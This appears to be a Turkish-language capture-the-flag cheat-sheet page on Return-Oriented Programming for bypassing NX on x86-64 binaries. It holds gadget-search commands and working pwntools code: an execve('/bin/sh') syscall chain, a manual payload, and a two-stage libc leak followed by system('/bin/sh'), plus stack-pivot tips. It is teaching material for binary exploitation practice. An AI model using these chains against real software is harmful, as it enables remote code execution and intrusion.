Skip to content

Return-Oriented Programming (ROP)

NX bypass difficulty: orta-zor

ROP, NX ortamında shellcode yazmadan; binary ve kütüphanelerdeki … ; ret ile biten kısa kod parçalarını (gadget) zincirleyerek keyfi işlem yapmaktır. ret2libc’in genelleştirilmiş hali: system yoksa veya argüman hazırlamak gerekiyorsa ROP şarttır.

Terminal window
ROPgadget --binary ./chall
Terminal window
ROPgadget --binary ./libc.so.6 | grep -E "pop rdi|pop rsi|pop rdx|syscall|pop rax"
Terminal window
ropper -f ./chall --search "pop rdi"
Terminal window
python3 -c "from pwn import *
Terminal window
print(ROP(ELF('./chall')).gadgets)"

Kritik gadget’lar (x86-64 SysV):

pop rdi ; ret → 1. argüman
pop rsi ; ret → 2. argüman
pop rdx ; ret → 3. argüman (veya pop rdx ; pop rbx ; ret)
pop rax ; ret → syscall numarası
syscall → veya int 0x80 (i386)
leave ; ret → stack pivot

ROPgadget

embedded tool
Generated command
ROPgadget --binary ./libc.so.6 | grep pop.rdi
  1. Offset — cyclic ile saved RIP mesafesini bul.

  2. Strateji seç libc + system + /bin/sh → ret2libc

  3. libc yok / restricted → saf execve syscall zinciri

  4. RWX yok → mprotect / mmap ile RWX + shellcode

  5. ASLR → önce leak (puts@GOT / write), sonra ikinci aşama

  6. Zincir kur — stack hizalaması ( movaps / 16-byte) için fazladan ret .

  7. Gönder — io.interactive() .

from pwn import *
elf = context.binary = ELF('./chall', checksec=False)
rop = ROP(elf)
binsh = next(elf.search(b'/bin/sh\x00')) # yoksa BSS'e yaz
# rax=59 (execve), rdi=binsh, rsi=0, rdx=0
rop(rax=59, rdi=binsh, rsi=0, rdx=0)
rop.raw(rop.find_gadget(['syscall']).address)
payload = flat({ offset: rop.chain() })

Manuel:

payload = b'A' * offset
payload += p64(pop_rax); payload += p64(59)
payload += p64(pop_rdi); payload += p64(binsh)
payload += p64(pop_rsi); payload += p64(0)
payload += p64(pop_rdx); payload += p64(0)
payload += p64(syscall)
# 1) puts@plt(puts@got) → leak → libc base
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main() # geri dön
io.sendlineafter(b'> ', flat({ offset: rop.chain() }))
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym.puts
# 2) system("/bin/sh")
rop2 = ROP([elf, libc])
rop2.call(libc.sym.system, [next(libc.search(b'/bin/sh'))])
io.sendlineafter(b'> ', flat({ offset: rop2.chain() }))

Kontrol edilen küçük bir buffer varsa:

leave ; ret → rsp = rbp-8 sonrası kontrollü bölge
veya pop rsp ; ret ile pivot
Terminal window
one_gadget ./libc.so.6
Terminal window
payload = flat({ offset: libc.address + one_gadget_offset })
- movaps crash → zincire ekstra ret (16-byte hizalama)
- Yanlış libc sürümü → leak'ten sonra libc database (libc.blukat.me)
- PIE → leak olmadan binary gadget adresleri yanlış
- Partial RELRO → GOT overwrite alternatifi (bkz. GOT sayfası)